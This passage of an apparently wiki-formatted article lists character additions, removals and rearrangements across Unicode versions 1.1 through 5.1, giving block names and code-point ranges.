* An Ai Length mark (total 1 character) was added to '''Oriya'''. (U+0B56)
* An undertie, a pair of brackets and six formatting characters now deprecated (total 9 characters) were added to '''General Punctuation'''. (U+203F, U+2045-U+2046 and U+206A-U+206F)
* Some additional symbols and the complete set of APL functional symbols (total 79 characters) were added to '''Miscellaneous Technical'''. (U+2300 and U+232D-U+237A)
* A large circle (◯) (total 1 character) was added to '''Geometric Shapes'''. (U+25EF)
* The ideographic telegraph line feed separator symbol (〷) (total 1 character) was added to '''CJK Symbols and Punctuation'''. (U+3037)
* Four Katakana letters not in use since 1945 (total 4 characters) were added to '''Katakana'''. (U+30F7-U+30FA)
* Ideographic telegraph symbols for the twelve months (total 12 characters) were added to '''Enclosed CJK Letters and Months'''. (U+32C0-U+32CB)
* Ideographic telegraph symbols for hours and days and six additional measure units (total 62 characters) were added to '''CJK Compatibility'''. (U+3358-U+3376 and U+33E0-U+33FE)
* Some more space (total 2,304 characters) was added to the '''Private Use Area'''.
* Seven halfwidth geometric shapes (total 7 characters) were added to '''Halfwidth and Fullwidth Forms'''. (U+FFE8-U+FFEE)

=== Removed blocks ===
* '''Tibetan''', containing 71 letters for the Tibetan script, was removed from the Unicode standard.

=== Removed characters ===
* A total of 10 characters were removed from '''Greek and Coptic'''. (U+0370-U+0372, U+03D7-U+03D9, U+03DB, U+03DD, U+03DF, and U+03E1)
* Point Varika (total 1 character) was removed from ''Hebrew''. (U+05F5)
* Phonetic Order Vowel Signs (total 5 characters) were removed from '''Thai'''. (U+0E70-U+0E74)
* Phonetic Order Vowel Signs (total 5 characters) were removed from '''Lao'''. (U+0EF0-U+0EF4)
* An Ideographic Ditto Mark (total 1 character) was removed from '''CJK Symbols and Punctuation''' (U+3004) and merged with CJK Unified Ideograph-4EDD.

=== Rearranged characters ===
* Greek character U+03F3 was changed from Spacing Tonos to Letter Yot.
* A Japanese Industrial Standard symbol (〄) was moved from '''Enclosed CJK Letters and Months''' (U+32FF) to '''CJK Symbols and Punctuation'''. (U+3004)

== Unicode 2.0 ==

Unicode 2.0 was released July 1996. It encoded 38,885 characters, adding 11,373 new characters and removing 6,656 characters, for a net increase of 4,717 characters. This was the first Unicode version to reserve blocks outside of the Basic Multilingual Plane.

=== New blocks ===

* '''Hangul Syllables''' (U+AC00-U+D7AF), containing 11,172 precomposed syllables for the Hangul script, was added.
* '''High Surrogates''' (U+D800-U+DB7F), setting aside 896 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''High Private Use Surrogates''' (U+DB80-U+DBFF), setting aside 128 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''Low Surrogates''' (U+DC00-U+DFFF), setting aside 1,024 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''Supplementary Private Use Area-A''' (U+F0000-U+FFFFF), reserving 65,534 characters for private use, was added.
* '''Supplementary Private Use Area-B''' (U+100000-U+10FFFF), reserving 65,534 characters for private use, was added.

=== Reinstated blocks ===

* '''Tibetan''' (U+0F00-U+0FFF), now containing 168 characters for the Tibetan script including religious signs, was readded.

=== Removed blocks ===

* '''Hangul''', containing 2,350 precomposed syllables for the Hangul script, was removed from the Unicode standard.
* '''Hangul Supplementary-A''', containing 1,930 precomposed syllables for the Hangul script, was removed from the Unicode standard.
* '''Hangul Supplementary-B''', containing 2,376 precomposed syllables for the Hangul script, was removed from the Unicode standard.

=== Extended blocks ===

* Cantillation marks for use in religious texts (total 31 characters) were added to '''Hebrew'''. (U+0591-U+05A1, U+05A3-U+05AF and U+05C4)
* A long S with Dot Above (total 1 character) was added to '''Latin Extended Additional'''. (U+1E9B)
* A Vietnamese Dong sign (total 1 character) was added to '''Currency Symbols'''. (U+20AB)

== Unicode 2.1 ==

Unicode 2.1 was released May 1998. It encoded 38,887 characters, adding only 2 new characters.

=== Extended blocks ===

* A Euro sign (total 1 character) was added to '''Currency Symbols'''. (U+20AC)
* An Object Replacement Character (total 1 character) was added to '''Specials'''. (U+FFFC)

== Unicode 3.0 ==

Unicode 3.0 was released September 1999. It was a big update and encoded 49,194 characters, adding 10,307 new characters.

=== New blocks ===

* '''Syriac''' (U+0700-U+074F), containing 71 characters used for writing in Syriac script, was added.
* '''Thaana''' (U+0780-U+07BF), containing 49 characters used for writing in Thaana script, was added.
* '''Sinhala''' (U+0D80-U+0DFF), containing 80 characters for the Sinhala script, was added.
* '''Myanmar''' (U+1000-U+109F), containing 78 characters for the Burmese script, was added.
* '''Ethiopic''' (U+1200-U+137F), containing 345 syllables and punctuation marks for the Ethiopic script, was added.
* '''Cherokee''' (U+13A0-U+13FF), containing 85 syllables for the Cherokee script, was added.
* '''Unified Canadian Aboriginal Syllabics''' (U+1400-U+167F), containing 630 syllables and punctuation marks for writing in indigenous languages of Canada, was added.
* '''Ogham''' (U+1680-U+169F), containing 29 characters for the ancient Ogham script, was added.
* '''Runic''' (U+16A0-U+16FF), containing 81 characters for the Germanic runes, was added.
* '''Khmer''' (U+1780-U+17FF), containing 103 characters for the Khmer script, was added.
* '''Mongolian''' (U+1800-U+18AF), containing 155 characters for the classical Mongolian script, was added.
* '''Braille Patterns''' (U+2800-U+28FF), containing 256 Braille letters, was added.
* '''CJK Radicals Supplement''' (U+2E80-U+2EFF), containing 115 non-Kangxi radicals, was added.
* '''Kangxi Radicals''' (U+2F00-U+2FDF), containing 214 radicals from the Kangxi dictionary, was added.
* '''Ideographic Description Characters''' (U+2FF0-U+2FFF), containing 12 characters used to describe a Han ideograph not available in the font, was added.
* '''Bopomofo Extended''' (U+31A0-U+31BF), containing 24 characters used for phonetic transcription of minority languages of Taiwan, was added.
* '''CJK Unified Ideographs Extension A''' (U+3400-U+4DBF), containing 6,582 additional Han Ideographs, was added.
* '''Yi Syllables''' (U+A000-U+A48F), containing 1,165 syllables of the modern Yi script, was added.
* '''Yi Radicals''' (U+A490-U+A4CF), containing 50 radicals of Yi Syllables, was added.

=== Extended blocks ===

* Additional precomposed characters, letters and capital letters of lowercase-only letters (total 30 characters) were added to '''Latin Extended-B'''. (U+01F6-U+01F9, U+0218-U+021F and U+0222-U+0233)
* Extensions for disordered speech (total 5 characters) were added to '''IPA Extensions'''. (U+02A9-U+02AD)
* Some additional modifier letters (total 6 characters) were added to '''Spacing Modifier Letters'''. (U+02DF and U+02EA-U+02EE)
* Additional combining diacritics for IPA (total 10 characters) were added to '''Combining Diacritical Marks'''. (U+0346-U+034E and U+0362)
* Lowercase versions of archaic letters and the Kai symbol (total 5 characters) were added to '''Greek and Coptic'''. (U+03D7, U+03DB, U+03DD, U+03DF and U+03E1)
* Nonstandard letters for Macedonian, combining numeral signs and three letters for Kildin Sami (total 12 characters) were added to '''Cyrillic'''. (U+0400, U+040D, U+0450, U+045D, U+0488-U+0489, U+048C-U+048F and U+04EC-U+04ED)
* A Hyphen (total 1 character) was added to '''Armenian'''. (U+058A)
* Combining hamza and maddah and nine additional Arabic characters (total 12 characters) were added to '''Arabic'''. (U+0653-U+0655, U+06B8-U+06B9, U+06BF, U+06CF and U+06FA-U+06FE)
* Additional letters and religious symbols (total 25 characters) were added to '''Tibetan'''. (U+0F6A, U+0F96, U+0FAE-U+0FB0, U+0FB8, U+0FBA-U+0FBC, U+0FBE-U+0FCC and U+0FCF)
* A narrow no-break space and 6 additional punctuation marks (total 7 characters) were added to '''General Punctuation'''. (U+202F and U+2048-U+204D)
* The Kip, Tugrik and Drachma sign (total 3 characters) were added to '''Currency Symbols'''. (U+20AD-U+20AF)
* An enclosing screen and an enclosing key (total 2 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20E2-U+20E3)
* The information symbol and a rotated Q (total 2 characters) were added to '''Letterlike Symbols'''. (U+2139-U+213A)
* A mirrored Roman capital numeral hundred (Ↄ) (total 1 character) was added to '''Number Forms'''. (U+2183)
* Some additional arrows (total 9 characters) were added to '''Arrows'''. (U+21EB-U+21F3)
* Some additional technical symbols, including common keys on a 101 keyboard (total 33 characters) were added to '''Miscellaneous Technical'''. (U+2301, U+237B and U+237D-U+239A)
* Two additional control pictures (total 2 characters) were added to '''Control Pictures'''. (U+2425-U+2426)
* Squares and circles with quadrants (total 8 characters) were added to '''Geometric Shapes'''. (U+25F0-U+25F7)
* Two Syriac crosses and a signature mark (total 3 characters) were added to '''Miscellaneous Symbols'''. (U+2619 and U+2670-U+2671)
* Three Hangzhou numerals and a variation indicator (total 4 characters) were added to '''CJK Symbols and Punctuation'''. (U+3038-U+303A and U+303E)
* A ligature Yod with Hiriq (יִ) (total 1 character) was added to '''Alphabetic Presentation Forms'''. (U+FB1D)
* Three additional control characters for ruby markup (total 3 characters) were added to '''Specials'''. (U+FFF9-U+FFFB)

== Unicode 3.1 ==

Unicode 3.1 was released March 2001. It encoded 94,140 characters, adding 44,946 new characters, and mainly focused on blocks outside of the Basic Multilingual Plane.

=== New blocks ===

* '''Old Italic''' (U+10300-U+1032F), containing 35 letters for the Etruscan script, was added.
* '''Gothic''' (U+10330-U+1034F), containing 27 letters for the Gothic script, was added.
* '''Deseret''' (U+10400-U+1044F), containing 76 letters for the constructed Deseret script, was added.
* '''Byzantine Musical Symbols''' (U+1D000-U+1D0FF), containing 246 symbols for musical notation in Byzantine, was added.
* '''Musical Symbols''' (U+1D100-U+1D1FF), containing 219 characters for current musical notation, was added.
* '''Mathematical Alphanumeric Symbols''' (U+1D400-U+1D7FF), containing 991 Latin and Greek letters in serif, sans-serif, bold, italic, double-struck, script and Fraktur/Blackletter, was added.
* '''CJK Unified Ideographs Extension B''' (U+20000-U+2A6DF), containing 42,711 additional Chinese Ideographs, was added.
* '''CJK Compatibility Ideographs Supplement''' (U+2F800-U+2FA1F), containing 542 additional Chinese Ideographs for compatibility purposes, was added.
* '''Tags''', containing 97 language tags, was added. (U+E0000-U+E007F)

=== Extended noncharacters ===

* The Noncharacters range: U+FDD0..U+FDEF were added to '''Arabic Presentation Forms-A'''.

=== Extended blocks ===

* The capital Theta symbol and the Lunate Epsilon symbol (total 2 characters) were added to '''Greek and Coptic'''. (U+03F4-U+03F5)

=== Characters and Scripts Under Investigation or Rejected ===
* Khmer Sign Laak Was Rejected. (U+17DD) From '''Khmer.'''
* Georgian Letter U-Brjuu Was Rejected. From '''Georgian.'''

== Unicode 3.2 ==

Unicode 3.2 was released March 2002. It encoded 95,156 characters, adding 1,016 new characters.

=== New blocks ===

* '''Cyrillic Supplementary (now Cyrillic Supplement)''' (U+0500-U+052F), containing 16 characters used for the Komi language, was added.
* '''Tagalog''' (U+1700-U+171F), containing 20 characters for the Baybayin script, was added.
* '''Hanunoo''' (U+1720-U+173F), containing 23 characters and punctuation for the Hanunó'o script, was added.
* '''Buhid''' (U+1740-U+175F), containing 20 characters for the Buhid script, was added.
* '''Tagbanwa''' (U+1760-U+177F), containing 18 characters for the Tagbanwa script, was added.
* '''Miscellaneous Mathematical Symbols-A''' (U+27C0-U+27EF), containing 28 symbols used in math notation, was added.
* '''Supplemental Arrows-A''' (U+27F0-U+27FF), containing 16 additional arrows, was added.
* '''Supplemental Arrows-B''' (U+2900-U+297F), containing 128 special arrows, was added.
* '''Miscellaneous Mathematical Symbols-B''' (U+2980-U+29FF), containing 128 additional mathematical symbols, was added.
* '''Supplemental Mathematical Operators''' (U+2A00-U+2AFF), containing 256 additional mathematical operators, was added.
* '''Katakana Phonetic Extensions''' (U+31F0-U+31FF), containing 16 Katakana letters used for Ainu, was added.
* '''Variation Selectors''' (U+FE00-U+FE0F), containing 16 symbols used for indicating variations, was added.

=== Extended blocks ===

* A capital letter N with Long Right Leg (total 1 character) was added to '''Latin Extended-B'''. (U+0220)
* The combining grapheme joiner and combining Latin letters used in medieval texts (total 14 characters) were added to '''Combining Diacritical Marks'''. (U+034F and U+0363-U+036F)
* The Qoppa and a reversed lunate epsilon symbol (total 3 characters) were added to '''Greek and Coptic'''. (U+03D8-U+03D9 and U+03F6)
* Four additional letters used for the Kildin Sami language (total 8 characters) were added to '''Cyrillic'''. (U+048A-U+048B, U+04C5-U+04C6, U+04C9-U+04CA and U+04CD-U+04CE)
* A dotless Beh and a dotless Qaf (total 2 characters) were added to '''Arabic'''. (U+066E-U+066F)
* A Letter for Addu dialect (total 1 character) was added to '''Thaana'''. (U+07B1)
* The letters Yn and Elifi (total 2 characters) were added to '''Georgian'''. (U+10F7-U+10F8)
* Some additional punctuation marks and control characters (total 12 characters) were added to '''General Punctuation'''. (U+2047, U+204E-U+2052, U+2057 and U+205F-U+2063)
* A superscript letter I (total 1 character) was added to '''Superscripts and Subscripts'''. (U+2071)
* German Penny and Peso sign (total 2 characters) were added to '''Currency Symbols'''. (U+20B0-U+20B1)
* Some additional combining characters (total 7 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20E4-U+20EA)
* Some double-struck and reversed/turned letters (total 15 characters) were added to '''Letterlike Symbols'''. (U+213D-U+214B)
* Some additional arrows (total 12 characters) were added to '''Arrows'''. (U+21F4-U+21FF)
* Some additional mathematical operators (total 14 characters) were added to '''Mathematical Operators'''. (U+22F2-U+22FF)
* Variable-width and additional symbols (total 53 characters) were added to '''Miscellaneous Technical'''. (U+237C and U+239B-U+23CE)
* Black and double circled numerals (total 20 characters) were added to '''Enclosed Alphanumerics'''. U+24EB-U+24FE)
* Quadrant elements (total 10 characters) were added to '''Block Elements'''. (U+2596-U+259F)
* Some additional triangles and squares (total 8 characters) were added to '''Geometric Shapes'''. (U+25F8-U+25FF)
* Shogi pieces ,recycling symbols, dices and dotted circles (total 24 characters) were added to '''Miscellaneous Symbols'''. (U+2616-U+2617, U+2672-U+267D and U+2680-U+2689)
* Additional parenthesis (total 14 characters) were added to '''Dingbats'''. (U+2768-U+2775)
* Three additional marks (total 3 characters) were added to '''CJK Symbols and Punctuation'''. (U+303B-U+303D)
* A digraph and two additional characters (total 3 characters) were added to '''Hiragana'''. (U+3095-U+3096 and U+309F)
* A digraph and a double hyphen (total 2 characters) were added to '''Katakana'''. (U+30A0 and U+30FF)
* Additional circled numerals (total 30 characters) were added to '''Enclosed CJK Letters and Months'''. (U+3251-U+325F and U+32B1-U+32BF
* Five missing radicals (total 5 characters) were added to '''Yi Radicals'''. (U+A4A2-U+A4A3, U+A4B4, U+A4C1, U+A4C5)
* Additional compatibility characters (total 59 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA30-U+FA6A)
* A Rial sign (total 1 character) was added to '''Arabic Presentation Forms-A'''. (U+FDFC)
* Two sesame dots (total 2 characters) were added to '''CJK Compatibility Forms'''. (U+FE45-U+FE46)
* A tail fragment (total 1 character) was added to '''Arabic Presentation Forms-B'''. (U+FE73)
* A pair of double parenthesis (total 2 characters) was added to '''Halfwidth and Fullwidth Forms'''. (U+FF5F-U+FF60)

== Unicode 4.0 ==

Unicode 4.0 was released April 2003. It encoded 96,382 characters, adding 1,226 new characters.

=== New blocks ===

* '''Limbu''' (U+1900-U+194F), containing 66 characters for the Limbu abugida, was added.
* '''Tai Le''' (U+1950-U+197F), containing 35 letters for the Tai Le script, was added.
* '''Khmer Symbols''' (U+19E0-U+19FF), containing 32 symbols for the lunar calendar, was added.
* '''Phonetic Extensions''' (U+1D00-U+1D7F), containing 108 letters used in phonetic transcription, was added.
* '''Miscellaneous Symbols and Arrows''' (U+2B00-U+2BFF), containing 14 additional arrows, was added.
* '''Yijing Hexagram Symbols''' (U+4DC0-U+4DFF), containing 64 hexagrams, was added.
* '''Linear B Syllabary''' (U+10000-U+1007F), containing 88 syllables of the ancient Linear B script, was added.
* '''Linear B Ideograms''' (U+10080-U+100FF), containing 123 ideograms of the ancient Linear B script, was added.
* '''Aegean Numbers''' (U+10100-U+1013F), containing 57 numerals used in the Aegean area, was added.
* '''Ugaritic''' (U+10380-U+1039F), containing 31 characters used in Ugaritic cuneiform, was added.
* '''Shavian''' (U+10450-U+1047F), containing 48 letters used for the artificial Shavian script, was added.
* '''Osmanya''' (U+10480-U+104AF), containing 40 characters used in the artificial Osmanya script, was added.
* '''Cypriot Syllabary''' (U+10800-U+1083F), containing 55 characters formerly used on Cyprus, was added.
* '''Tai Xuan Jing Symbols''' (U+1D300-U+1D35F), containing 87 symbols of Tai Xuan Jing, was added.
* '''Variation Selectors Supplement''' (U+E0100-U+E01EF), containing 240 additional variation selectors, was added.

=== Extended blocks ===

* Letters with curl used in Sinology (total 4 characters) were added to '''Latin Extended-B'''. (U+0221 and U+0234-U+0236)
* Former IPA letters (total 2 characters) were added to '''IPA Extensions'''. (U+02AE-U+02AF)
* Some additional characters (total 17 characters) were added to '''Spacing Modifier Letters'''. (U+02EF-U+02FF)
* Additional combining double-width diacritics and diacritics corresponding to their spacing equivalent (total 11 characters) were added to '''Combining Diacritical Marks'''. (U+0350-U+0357 and U+035D-U+035F)
* The archaic letters Sho and San and the capital Lunate Sigma (total 5 characters) were added to '''Greek and Coptic'''. (U+03F7-U+03FB)
* Some additional markers, biblical signs, and letters with inverted V (total 19 characters) were added to '''Arabic'''. (U+0600-U+0603, U+060D-U+0615, U+0656-U+0658, U+06EE-U+06EF and U+06FF)
* Letters used for foreign words from Persian and Sogdian (total 6 characters) were added to '''Syriac'''. (U+072D-U+072F and U+074D-U+074F)
* The short A (ऄ) (total 1 character) was added to '''Devanagari'''. (U+0904)
* The Avagraha sign (ঽ) (total 1 character) was added to '''Bengali'''. (U+09BD)
* The Adak Bindi and Visarga signs (total 2 characters) were added to '''Gurmukhi'''. (U+0A01 and U+0A03)
* The vocalic l and ll and the Rupee sign (total 5 characters) were added to '''Gujarati'''. (U+0A8C and U+0AF1-U+0AF3)
* The letters Va and Wa (total 2 characters) were added to '''Oriya'''. (U+0B35 and U+0B71)
* Additional signs for date and finance environments (total 8 characters) were added to '''Tamil'''. (U+0BF3-U+0BFA)
* The Nukta and Avagraha signs (total 2 characters) were added to '''Kannada'''. (U+0CBC-U+0CBD)
* Some symbols and signs (total 11 characters) were added to '''Khmer'''. (U+17DD and U+17F0-U+17F9)
* An inverted undertie and a swung dash (total 2 characters) were added to '''General Punctuation'''. (U+2053-U+2054)
* The facsimile sign (℻) (total 1 character) was added to '''Letterlike Symbols'''. (U+213B)
* The eject symbol and a vertical line (total 2 characters) were added to '''Miscellaneous Technical'''. (U+23CF-U+23D0)
* A black circled digit zero (⓿) (total 1 character) was added to '''Enclosed Alphanumerics'''. (U+24FF)
* Monograms and diagrams, flags, warning and weather symbols and a cup of tea (total 12 characters) were added to '''Miscellaneous Symbols'''. (U+2614-U+2615, U+268A-U+2691 and U+26A0-U+26A1)
* Additional parenthesized and circled Korean characters and supplemental signs (total 9 characters) were added to '''Enclosed CJK Letters and Months'''. (U+321D-U+321E, U+3250, U+327C-U+327D and U+32CC-U+32CF)
* Additional measure units (total 7 characters) were added to '''CJK Compatibility'''. (U+3377-U+337A, U+33DE-U+33DF and U+33FF)
* An additional Arabic sign (﷽) (total 1 character) was added to '''Arabic Presentation Forms-A'''. (U+FDFD)
* A pair of vertical parenthesis (total 2 characters) was added to '''CJK Compatibility Forms'''. (U+FE47-U+FE48)
* The letters Oi and Ew (total 4 characters) were added to '''Deseret'''. (U+10426-U+10427 and U+1044E-U+1044F)
* A small script l (ℓ) (total 1 character) was added to '''Mathematical Alphanumeric Symbols'''. (U+1D4C1)

== Unicode 4.1 ==

Unicode 4.1 was released March 31, 2005. It encoded 97,655 characters, adding 1,273 new characters.

=== New blocks ===

* '''Arabic Supplement''' (U+0750-U+077F), containing 30 characters for various languages written with the Arabic script, was added.
* '''Ethiopic Supplement''' (U+1380-U+139F), containing 26 characters and signs for Sebatbeit, was added.
* '''New Tai Lue''' (U+1980-U+19DF), containing 80 characters for the New Tai Lue script, was added.
* '''Buginese''' (U+1A00-U+1A1F), containing 30 characters for the Lontara script, was added.
* '''Phonetic Extensions Supplement''' (U+1D80-U+1DBF), containing 64 additional letters for phonetic transcription, was added.
* '''Combining Diacritical Marks Supplement''' (U+1DC0-U+1DFF), containing 4 additional diacritics, was added.
* '''Glagolitic''' (U+2C00-U+2C5F), containing 94 characters for the Glagolitic script, was added.
* '''Coptic''' (U+2C80-U+2CFF), containing 114 characters for the Coptic script, was added.
* '''Georgian Supplement''' (U+2D00-U+2D2F), containing 38 Nuskhuri letters, was added.
* '''Tifinagh''' (U+2D30-U+2D7F), containing 55 characters for the Tifinagh script, was added.
* '''Ethiopic Extended''' (U+2D80-U+2DDF), containing 79 additional Ethiopic syllables, was added.
* '''Supplemental Punctuation''' (U+2E00-U+2E7F), containing 26 additional punctuation marks, was added.
* '''CJK Strokes''' (U+31C0-U+31CF), containing 16 strokes for Han Ideographs, was added.
* '''Modifier Tone Letters''' (U+A700-U+A71F), containing 23 letters for Chinese tones, was added.
* '''Syloti Nagri''' (U+A800-U+A82F), containing 44 characters for the Syloti Nagri abugida, was added.
* '''Vertical Forms''' (U+FE10-U+FE1F), containing 10 punctuation marks suited for vertical text, was added.
* '''Ancient Greek Numbers''' (U+10140-U+1018F), containing 75 numerals and signs used in Ancient Greek, was added.
* '''Old Persian''' (U+103A0-U+103DF), containing 50 characters for Old Persian cuneiform, was added.
* '''Kharoshthi''' (U+10A00-U+10A5F), containing 65 characters for the Kharoshthi abugida, was added.
* '''Ancient Greek Musical Notation''' (U+1D200-U+1D24F), containing 70 musical signs used in Ancient Greek, was added.

=== Extended blocks ===

* Letters for Sencoten, digraphs, letters with swash tail and other additions (total 11 characters) were added to '''Latin Extended-B'''. (U+0237-U+0241)
* Additional diacritics for transliteration (total 5 characters) were added to '''Combining Diacritical Marks'''. (U+0358-U+035C)
* Rho with stroke, reversed and dotted Lunate Sigma (total 4 characters) were added to '''Greek and Coptic'''. (U+03FC-U+03FF)
* Ghe with descender (Ӷ) (total 2 characters) was added to '''Cyrillic'''. (U+04F6-U+04F7)
* An additional biblical mark and some punctuation marks (total 4 characters) were added to '''Hebrew'''. (U+05A2 and U+05C5-U+05C7)
* Additional biblical marks, punctuation marks and the Afghani sign (total 8 characters) were added to '''Arabic'''. (U+060B, U+061E, and U+0659-U+065E)
* A glottal stop (ॽ) (total 1 character) was added to '''Devanagari'''. (U+097D)
* The Khanda Ta letter (ৎ) (total 1 character) was added to '''Bengali'''. (U+09CE)
* The letter Sha and the digit zero (total 2 characters) were added to '''Tamil'''. (U+0BB6 and U+0BE6)
* Two marks used in Bhutan (total 2 characters) were added to '''Tibetan'''. (U+0FD0-U+0FD1)
* Two letters and a modifier letter (total 3 characters) were added to '''Georgian'''. (U+10F9-U+10FA and  U+10FC)
* Some additional syllables (total 11 characters) were added to '''Ethiopic'''. (U+1207, U+1247, U+1287, U+12AF, U+12CF, U+12EF, U+130F, U+131F, U+1347, U+135F, and U+1360)
* Additional phonetic symbols (total 20 characters) were added to '''Phonetic Extensions'''. (U+1D6C-U+1D7F)
* A flower and dot punctuation marks (total 9 characters) were added to '''General Punctuation'''. (U+2055-U+2056 and U+2058-U+205E)
* Additional subscript letters (total 5 characters) were added to '''Superscripts and Subscripts'''. (U+2090-U+2094)
* The Guarani, Austral, Hryvnia and Cedi signs (total 4 characters) were added to '''Currency Symbols'''. (U+20B2-U+20B5)
* A combining long double solidus (total 1 character) was added to '''Combining Diacritical Marks for Symbols'''. (U+20EB)
* The per sign and a double-struck letter Pi (total 2 characters) were added to '''Letterlike Symbols'''. (U+213C and U+214C)
* Metrical and electrical signs (total 11 characters) were added to '''Miscellaneous Technical'''. (U+23D1-U+23DB)
* Additional gender and map symbols (total 30 characters) were added to '''Miscellaneous Symbols'''. (U+2618, U+267E-U+267F, U+2692-U+269C, and U+26A2-U+26B1)
* Some additional mathematical symbols (total 7 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27C0-U+27C6)
* Additional arrows and squares (total 6 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B0E-U+2B1D)
* A circled Hangul character (㉾) (total 1 character) was added to '''Enclosed CJK Letters and Months'''. (U+327E)
* Additional Han Ideographs (total 22 characters) were added to '''CJK Unified Ideographs'''. (U+9FA6-U+9FBB)
* Additional Compatibility Ideographs (total 106 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA70-U+FAD9)
* Italic dotless small i and j (total 2 characters) were added to '''Mathematical Alphanumeric Symbols'''. (U+1D6A4-U+1D6A5)

== Unicode 5.0 ==

Unicode 5.0 was released July 14, 2006. It encoded 99,024 characters, adding 1,369 new characters.

=== New blocks ===

* '''N'Ko''' (U+07C0-U+07FF), containing 59 characters for the N'Ko script, was added.
* '''Balinese''' (U+1B00-U+1B7F), containing 121 characters and musical signs for the Balinese abugida, was added.
* '''Latin Extended-C''' (U+2C60-U+2C7F), containing 17 letters for various languages, was added.
* '''Latin Extended-D''' (U+A720-U+A7FF), containing 2 characters for UPA, was added.
* '''Phags-pa''' (U+A840-U+A87F), containing 56 characters for the Phags-pa script, was added.
* '''Phoenician''' (U+10900-U+1091F), containing 27 letters and numerals for the Phoenician script, was added.
* '''Cuneiform''' (U+12000-U+123FF), containing 879 signs for Sumero-Akkadian Cuneiform, was added.
* '''Cuneiform Numbers and Punctuation''' (U+12400-U+1247F), containing 103 numerals and punctuation signs for Sumero-Akkadian Cuneiform, was added.
* '''Counting Rod Numerals''' (U+1D360-U+1D37F), containing 18 numerals used with counting rods, was added.

=== Extended blocks ===

* Various letters used mainly for aboriginal languages (total 14 characters) were added to '''Latin Extended-B'''. (U+0242-U+024F)
* Lowercase lunate sigma symbols (total 3 characters) were added to '''Greek and Coptic'''. (U+037B-U+037D)
* Lowercase palochka and 3 letters used in Nivkh (total 7 characters) were added to '''Cyrillic'''. (U+04CF and U+04FA-U+04FF)
* Two letters used in Khanty and other languages (total 4 characters) were added to '''Cyrillic Supplement'''. (U+0510-U+0513)
* A specific point meant for Vav (total 1 character) was added to '''Hebrew'''. (U+05BA)
* Four letters used in Sindhi (total 4 characters) were added to '''Devanagari'''. (U+097B-U+097C and U+097E-U+097F)
* Four letters used in Sanskrit (total 4 characters) were added to '''Kannada'''. (U+0CE2-U+0CE3 and U+0CF1-U+0CF2)
* Additional IPA diacritics (total 9 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DC4-U+1DCA)
* Four combining arrows (total 4 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20EC-U+20EF)
* A danish symbol and a lowercase turned F (total 2 characters) were added to '''Letterlike Symbols'''. (U+214D-U+214E)
* A lowercase reversed C (ↄ) (total 1 character) was added to '''Number Forms'''. (U+2184)
* Vertical parenthesis, geometric forms and electrical symbols (total 12 characters) were added to '''Miscellaneous Technical'''. (U+23DC-U+23E7)
* A neuter symbol (⚲) (total 1 character) was added to '''Miscellaneous Symbols'''. (U+26B2)
* Four additional mathematical symbols (total 4 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27C7-U+27CA)
* Additional squares, pentagons and hexagons (total 11 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B14-U+2B1A and U+2B20-U+2B23)
* Four additional tone letters used in Chinantec (total 4 characters) were added to '''Modifier Tone Letters'''. (U+A717-U+A71A)
* Bold Digamma (𝟊/'''Ϝ''') (total 2 characters) was added to '''Mathematical Alphanumeric Symbols'''. (U+1D7CA-U+1D7CB)

== Unicode 5.1 ==

Unicode 5.1 was released April 4, 2008. It encoded 100,648 characters, adding 1,624 new characters.

=== New blocks ===

* '''Sundanese''', containing 55 letters for Sundanese script, was added.
* '''Lepcha''', containing 74 letters for Lepcha script, was added.
* '''Ol Chiki''', containing 48 letters for Ol Chiki script, was added.
* '''Cyrillic Extended-A''', containing 32 letters for combining Cyrillic letters, was added.
* '''Vai''', containing 300 letters for Vai script, was added.
* '''Cyrillic Extended-B''', containing 78 letters for additional Cyrillic characters, was added.
* '''Saurashtra''', containing 81 letters for Saurashtra script, was added.
* '''Kayah Li''', containing 48 letters for Kayah languages, was added.
*  '''Rejang''', containing 37 letters for Rejang script, was added.
* '''Cham''', containing 83 letters for Cham script, was added.
* '''Ancient Symbols''', containing 12 characters for weights and measures and other Ancient symbols, was added.
* '''Phaistos Disc''', containing 46 hieroglyphs for Phaistos, was added.
* '''Lycian''', containing 29 letters for Lycian script, was added.
* '''Carian''', containing 49 letters for Carian script, was added.
* '''Lydian''', containing 27 letters for Lydian script, was added.
* '''Mahjong Tiles''', containing 44 mahjong tiles, was added.
* '''Domino Tiles''', containing 100 domino tiles, was added.

=== Extended blocks ===

* Archaic letters and capital kai symbol (total 7 characters) were added to '''Greek and Coptic'''.
* Combining Pokrytie (total 1 character) was added to '''Cyrillic'''.
* Mordvin, Kurdish, Aleut and Chuvash letters (total 16 characters) were added to '''Cyrillic Supplement'''.
* Radix symbols, Letterlike, punctuation, Koranic annotation signs and additions for early Persian and Azerbaijani (total 15 characters) were added to '''Arabic'''.
* Additional letters in Torwali, Burushaski and early Persian (total 18 characters) were added to '''Arabic Supplement'''.
* High spacing dot and candra a (total 2 characters) were added to '''Devanagari'''.
* Udaat and yakash signs (total 2 characters) were added to '''Gurmukhi'''.
* Vocalic rr, l and ll (total 3 characters) were added to '''Oriya'''.
* Om symbol (ௐ) (total 1 character) was added to '''Tamil'''.
* Avagraha, additional phonetic letters, vocalic l and ll, fractional signs and tuumu (total 13 characters) were added to '''Telugu'''.
* Avagraha, vocalic rr, l and ll, Malayalam numerics and fractions and chillu letters (total 17 characters) were added to '''Malayalam'''.
* Letters for Balti and various symbols (total 6 characters) were added to '''Tibetan'''.
* Characters for various languages (total 78 characters) were added to '''Myanmar'''.
* Manchu Ali Gali lha (ᢪ) (total 1 character) was added to '''Mongolian'''.
* Miscellaneous combining marks (total 28 characters) were added to '''Combining Diacritical Marks Supplement'''.
* Medievalist latin letters and miscellaneous letters (total 10 characters) were added to '''Latin Extended Additional'''.
* Invisible plus (+) (total 1 character) was added to '''General Punctuation'''.
* Combining asterisk above ( ⃰)(total 1 character) was added to '''Combining Diacritical Marks for Symbols'''.
